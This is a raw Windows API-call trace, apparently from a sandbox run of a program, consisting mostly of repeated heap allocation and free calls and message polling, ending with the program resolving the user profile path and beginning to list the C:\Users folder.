[0124.441] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.441] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.441] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.441] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.441] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.441] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.441] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.441] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.442] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.442] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.442] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.442] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.442] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.442] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.442] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.442] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.442] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.442] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.442] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.442] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.442] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.442] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.442] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.442] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.442] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.442] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.442] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.442] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.442] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.442] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.442] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.442] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.442] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.442] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.442] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.442] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.442] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.442] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.442] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.443] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.443] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.443] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.443] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.443] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.443] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.443] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.443] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.443] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.443] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.443] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.443] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.443] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.443] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.443] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.443] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.444] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.444] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.444] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.444] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.444] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.444] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.444] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.444] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.444] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.444] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.444] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.444] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.444] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.444] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.444] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.444] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.444] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.444] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.444] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.444] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.444] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.444] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.444] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.444] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.444] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.444] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.444] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.444] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.444] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.444] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.444] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.444] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.445] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.445] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.445] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.445] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.445] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.445] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.445] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.445] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.445] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.445] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.445] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.445] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.445] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.445] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.445] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.445] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.445] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.445] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.445] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.445] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.445] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.445] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.445] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.445] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.445] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.445] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.445] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.445] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.445] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.445] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.445] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.446] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.446] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.446] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.446] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.446] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.446] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.446] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.446] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.446] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.446] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.446] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.446] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.446] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.446] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.446] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.446] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.446] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.446] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380e8 [0124.446] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.446] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.446] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.446] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.446] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.446] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.446] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.446] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.446] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.446] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.446] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.446] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.446] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.446] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.447] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.447] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.447] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.447] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.447] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.447] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.447] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.447] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.447] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.447] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.447] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.447] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.447] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.447] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.447] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.447] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.447] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.447] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.447] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.447] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.447] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.447] PathFindFileNameW (pszPath="") returned="" [0124.447] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.448] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.448] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.448] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.448] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.448] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.448] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.448] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0124.448] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.448] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0124.448] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.448] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0124.448] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042190 [0124.448] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.448] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042268 [0124.448] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.448] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.448] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0124.448] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380e8 [0124.448] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0124.449] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: hHeap=0x5c0000) returned 1 [0124.449] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380e8 | out: hHeap=0x5c0000) returned 1 [0124.449] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0124.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380e8 [0124.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038008 [0124.449] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3038120 [0124.449] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038008 | out: 